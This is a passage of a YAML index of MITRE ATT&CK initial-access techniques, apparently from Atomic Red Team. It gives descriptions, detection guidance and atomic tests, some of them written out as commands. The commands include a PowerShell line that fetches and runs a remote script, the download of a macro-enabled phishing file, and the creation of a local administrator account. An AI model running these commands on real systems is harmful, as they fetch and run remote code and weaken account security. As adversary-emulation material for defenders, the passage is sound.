        Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Application Log: Application Log Content'
      x_mitre_version: '1.2'
    atomic_tests: []
  T1190:
    technique:
      id: attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exploit Public-Facing Application
      description: "Adversaries may attempt to take advantage of a weakness in an
        Internet-facing computer or program using software, data, or commands in order
        to cause unintended or unanticipated behavior. The weakness in the system
        can be a bug, a glitch, or a design vulnerability. These applications are
        often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662),
        standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or
        SSH), network device administration and management protocols (like SNMP and
        Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation:
        Cisco Blog Legacy Device Attacks)), and any other applications with Internet
        accessible open sockets, such as web servers and related services.(Citation:
        NVD CVE-2014-7169) Depending on the flaw being exploited this may include
        [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).
        \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized,
        then exploiting it may lead to compromise of the underlying instance or container.
        This can allow an adversary a path to access the cloud or container APIs,
        exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611),
        or take advantage of weak identity and access management policies.\n\nFor
        websites and databases, the OWASP top 10 and CWE top 25 highlight the most
        common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top
        25)"
      external_references:
      - source_name: mitre-attack
        external_id: T1190
        url: https://attack.mitre.org/techniques/T1190
      - url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662
        description: National Vulnerability Database. (2017, February 2). CVE-2016-6662
          Detail. Retrieved April 3, 2018.
        source_name: NVD CVE-2016-6662
      - url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
        description: CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows
          SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.
        source_name: CIS Multiple SMB Vulnerabilities
      - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018
        url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A
        description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors
          Targeting Network Infrastructure Devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169
        description: National Vulnerability Database. (2017, September 24). CVE-2014-7169
          Detail. Retrieved April 3, 2018.
        source_name: NVD CVE-2014-7169
      - url: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
        description: OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved
          April 3, 2018.
        source_name: OWASP Top 10
      - source_name: CWE top 25
        url: https://cwe.mitre.org/top25/index.html
        description: Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011,
          September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved
          April 10, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-12T18:25:16.409Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_platforms:
      - Windows
      - IaaS
      - Network
      - Linux
      - macOS
      - Containers
      x_mitre_detection: Monitor application logs for abnormal behavior that may indicate
        attempted or successful exploitation. Use deep packet inspection to look for
        artifacts of common exploit traffic, such as SQL injection. Web Application
        Firewalls may detect improper inputs attempting exploitation.
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_version: '2.3'
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Praetorian
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1133:
    technique:
      id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: External Remote Services
      description: |-
        Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.

        Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.

        Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
      external_references:
      - source_name: mitre-attack
        external_id: T1133
        url: https://attack.mitre.org/techniques/T1133
      - external_id: CAPEC-555
        source_name: capec
        url: https://capec.mitre.org/data/definitions/555.html
      - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
        source_name: Volexity Virtual Private Keylogging
      - source_name: Trend Micro Exposed Docker Server
        url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
        description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants
          Target Exposed Docker Servers. Retrieved April 5, 2021.
      - source_name: Unit 42 Hildegard Malware
        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-22T20:22:02.443Z'
      created: '2017-05-31T21:31:44.421Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - Containers
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.

        When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Metadata'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_contributors:
      - ExtraHop
      - David Fiser, @anu4is, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Idan Frimark, Cisco
      - Rory McCune, Aqua Security
      - Yuval Avrahami, Palo Alto Networks
      - Jay Chen, Palo Alto Networks
      - Brad Geesaman, @bradgeesaman
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      - Daniel Oakley
      - Travis Smith, Tripwire
      x_mitre_version: '2.2'
      identifier: T1133
    atomic_tests:
    - name: Running Chrome VPN Extensions via the Registry 2 vpn extension
      auto_generated_guid: 4c8db261-a58b-42a6-a866-0a294deedde4
      description: 'Running Chrome VPN Extensions via the Registry install 2 vpn extension,
        please see "T1133\src\list of vpn extension.txt" to view complete list

'
      supported_platforms:
      - windows
      input_arguments:
        chrome_url:
          description: chrome installer download URL
          type: Url
          default: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe
        extension_id:
          description: chrome extension id
          type: String
          default: '"fcfhplploccackoneaefokcmbjfbkenj", "fdcgdnkidjaadafnichfpabhfomcebme"

'
      dependency_executor_name: powershell
      dependencies:
      - description: 'Chrome must be installed

'
        prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe")
          -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"))
          {exit 0} else {exit 1}
        get_prereq_command: "Invoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.exe
          #{chrome_url}\nStart-Process $env:temp\\ChromeStandaloneSetup64.exe /S     \n"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $extList = #{extension_id}
          foreach ($extension in $extList) {
            New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
            New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
          Start chrome
          Start-Sleep -Seconds 30
          Stop-Process -Name "chrome"
        cleanup_command: |
          $extList = #{extension_id}
          foreach ($extension in $extList) {
          Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore}
  T1200:
    technique:
      id: attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hardware Additions
      description: 'Adversaries may introduce computer accessories, computers, or
        networking hardware into a system or network that can be used as a vector
        to gain access. While public references of usage by APT groups are scarce,
        many penetration testers leverage hardware additions for initial access. Commercial
        and open source products are leveraged with capabilities such as passive network
        tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking
        (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck
        Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016),
        adding new wireless access to an existing network (Citation: McMillan Pwn
        March 2012), and others.'
      external_references:
      - source_name: mitre-attack
        external_id: T1200
        url: https://attack.mitre.org/techniques/T1200
      - external_id: CAPEC-440
        source_name: capec
        url: https://capec.mitre.org/data/definitions/440.html
      - url: https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html
        description: Michael Ossmann. (2011, February 17). Throwing Star LAN Tap.
          Retrieved March 30, 2018.
        source_name: Ossmann Star Feb 2011
      - url: https://www.youtube.com/watch?v=lDvf4ScWbcQ
        description: Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding
          the virtual & physical tools used by white/black hat hackers. Retrieved
          March 30, 2018.
        source_name: Aleks Weapons Nov 2015
      - url: https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained
        description: Hak5. (2016, December 7). Stealing Files with the USB Rubber
          Ducky – USB Exfiltration Explained. Retrieved March 30, 2018.
        source_name: Hak5 RubberDuck Dec 2016
      - url: https://www.youtube.com/watch?v=fXthwl6ShOg
        description: Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel.
          Retrieved March 30, 2018.
        source_name: Frisk DMA August 2016
      - url: https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/
        description: Robert McMillan. (2012, March 3). The Pwn Plug is a little white
          box that can hack your network. Retrieved March 30, 2018.
        source_name: McMillan Pwn March 2012
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-22T17:47:04.476Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_detection: "Asset management systems may help with the detection of
        computer systems or network devices that should not exist on a network. \n\nEndpoint
        sensors may be able to detect the addition of hardware via USB, Thunderbolt,
        and other external device communication ports."
      x_mitre_version: '1.1'
    atomic_tests: []
  T1078.003:
    technique:
      id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
      description: "Adversaries may obtain and abuse credentials of a local account
        as a means of gaining Initial Access, Persistence, Privilege Escalation, or
        Defense Evasion. Local accounts are those configured by an organization for
        use by users, remote support, services, or for administration on a single
        system or service.\n\nLocal Accounts may also be abused to elevate privileges
        and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
        Password reuse may allow the abuse of local accounts across a set of machines
        on a network for the purposes of Privilege Escalation and Lateral Movement. "
      name: Local Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078.003
        url: https://attack.mitre.org/techniques/T1078/003
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-05T12:51:00.663Z'
      created: '2020-03-13T20:26:46.695Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Perform regular audits of local system accounts to detect
        accounts that may have been created by an adversary for persistence. Look
        for suspicious account behavior, such as accounts logged in at odd times or
        outside of business hours.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1078.003
    atomic_tests:
    - name: Create local account with admin privileges
      auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - windows
      executor:
        command: |-
          net user art-test /add
          net user art-test Password123!
          net localgroup administrators art-test /add
        cleanup_command: |-
          net localgroup administrators art-test /delete >nul 2>&1
          net user art-test /delete >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1566:
    technique:
      id: attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b
      description: |-
        Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

        Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.
      name: Phishing
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1566
        url: https://attack.mitre.org/techniques/T1566
      - external_id: CAPEC-98
        source_name: capec
        url: https://capec.mitre.org/data/definitions/98.html
      - source_name: Microsoft Anti Spoofing
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
      - source_name: ACSC Email Spoofing
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-14T14:38:43.211Z'
      created: '2020-03-02T18:45:07.892Z'
      x_mitre_contributors:
      - Philip Winther
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - SaaS
      - Office 365
      - Google Workspace
      x_mitre_detection: |-
        Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

        Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.

        Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.

        Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
    atomic_tests: []
  T1091:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1091
        external_id: T1091
      description: Adversaries may move onto systems, possibly those on disconnected
        or air-gapped networks, by copying malware to removable media and taking advantage
        of Autorun features when the media is inserted into a system and executes.
        In the case of Lateral Movement, this may occur through modification of executable
        files stored on removable media or by copying malware and renaming it to look
        like a legitimate file to trick users into executing it on a separate system.
        In the case of Initial Access, this may occur through manual manipulation
        of the media, modification of systems used to initially format the media,
        or modification to the media's firmware itself.
      name: Replication Through Removable Media
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-07-14T19:45:59.638Z'
      created: '2017-05-31T21:31:08.977Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Access'
      - 'File: File Creation'
      - 'Drive: Drive Creation'
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute from removable media after it is mounted or when initiated by
        a user. If a remote access tool is used in this manner to move laterally,
        then additional actions are likely to occur after execution, such as opening
        network connections for Command and Control and system and network information
        Discovery.
      x_mitre_permissions_required:
      - User
      x_mitre_system_requirements:
      - Removable media allowed, Autorun enabled or vulnerability present that allows
        for code execution
      x_mitre_platforms:
      - Windows
      identifier: T1091
    atomic_tests:
    - name: USB Malware Spread Simulation
      auto_generated_guid: d44b7297-622c-4be8-ad88-ec40d7563c75
      description: "Simulates an adversary copying malware to all connected removable
        drives. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        command: |
          $RemovableDrives=@()
          $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
          ForEach ($Drive in $RemovableDrives)
          {
          write-host "Removable Drive Found:" $Drive
          New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives."
          }
        cleanup_command: |
          $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
          ForEach ($Drive in $RemovableDrives)
          {
          Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore
          }
  T1566.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1566.001
        url: https://attack.mitre.org/techniques/T1566/001
      - external_id: CAPEC-163
        source_name: capec
        url: https://capec.mitre.org/data/definitions/163.html
      - source_name: Microsoft Anti Spoofing
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
      - source_name: ACSC Email Spoofing
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
      - source_name: Elastic - Koadiac Detection with EQL
        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Spearphishing Attachment
      description: "Adversaries may send spearphishing emails with a malicious attachment
        in an attempt to gain access to victim systems. Spearphishing attachment is
        a specific variant of spearphishing. Spearphishing attachment is different
        from other forms of spearphishing in that it employs the use of malware attached
        to an email. All forms of spearphishing are electronically delivered social
        engineering targeted at a specific individual, company, or industry. In this
        scenario, adversaries attach a file to the spearphishing email and usually
        rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain
        execution. Spearphishing may also involve social engineering techniques, such
        as posing as a trusted source.\n\nThere are many options for the attachment
        such as Microsoft Office documents, executables, PDFs, or archived files.
        Upon opening the attachment (and potentially clicking past protections), the
        adversary's payload exploits a vulnerability or directly executes on the user's
        system. The text of the spearphishing email usually tries to give a plausible
        reason why the file should be opened, and may explain how to bypass system
        protections in order to do so. The email may also contain instructions on
        how to decrypt an attachment, such as a zip file password, in order to evade
        email boundary defenses. Adversaries frequently manipulate file extensions
        and icons in order to make attached executables appear to be document files,
        or files exploiting one application appear to be a file for a different one. "
      id: attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-01T16:21:17.553Z'
      created: '2020-03-02T19:05:18.137Z'
      x_mitre_contributors:
      - Philip Winther
      x_mitre_version: '2.1'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

        Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.

        Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      identifier: T1566.001
    atomic_tests:
    - name: Download Macro-Enabled Phishing Attachment
      auto_generated_guid: 114ccff9-ae6d-4547-9ead-4cd69f687306
      description: |
        This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file.
        The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory.
      supported_platforms:
      - windows
      executor:
        command: |
          $url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm
        name: powershell
        cleanup_command: 'Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction
          Ignore

'
    - name: Word spawned a command shell and used an IP address in the command line
      auto_generated_guid: cbb6799a-425c-4f83-9194-5447a909d67f
      description: |
        Word spawning a command prompt then running a command with an IP address in the command line is an indiciator of malicious activity.
        Upon execution, CMD will be lauchned and ping 8.8.8.8
      supported_platforms:
      - windows
      input_arguments:
        jse_path:
          description: 'Path for the macro to write out the "malicious" .jse file

'
          type: String
          default: C:\Users\Public\art.jse
        ms_product:
          description: Maldoc application Word or Excel
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
          Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
        cleanup_command: 'Remove-Item #{jse_path} -ErrorAction Ignore

'
        name: powershell
  T1566.002:
    technique:
      id: attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7
      description: |-
        Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)
      name: Spearphishing Link
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1566.002
        url: https://attack.mitre.org/techniques/T1566/002
      - external_id: CAPEC-163
        source_name: capec
        url: https://capec.mitre.org/data/definitions/163.html
      - source_name: Trend Micro Pawn Storm OAuth 2017
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
        description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication
          in Advanced Social Engineering Attacks. Retrieved October 4, 2019.
      - source_name: Microsoft Anti Spoofing
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
      - source_name: ACSC Email Spoofing
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-14T14:38:42.715Z'
      created: '2020-03-02T19:15:44.182Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_detection: |-
        URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.

        Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_contributors:
      - Philip Winther
      - Shailesh Tiwary (Indian Army)
      - Mark Wee
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
    atomic_tests: []
  T1566.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1566.003
        url: https://attack.mitre.org/techniques/T1566/003
      - external_id: CAPEC-163
        source_name: capec
        url: https://capec.mitre.org/data/definitions/163.html
      object_marking_refs:
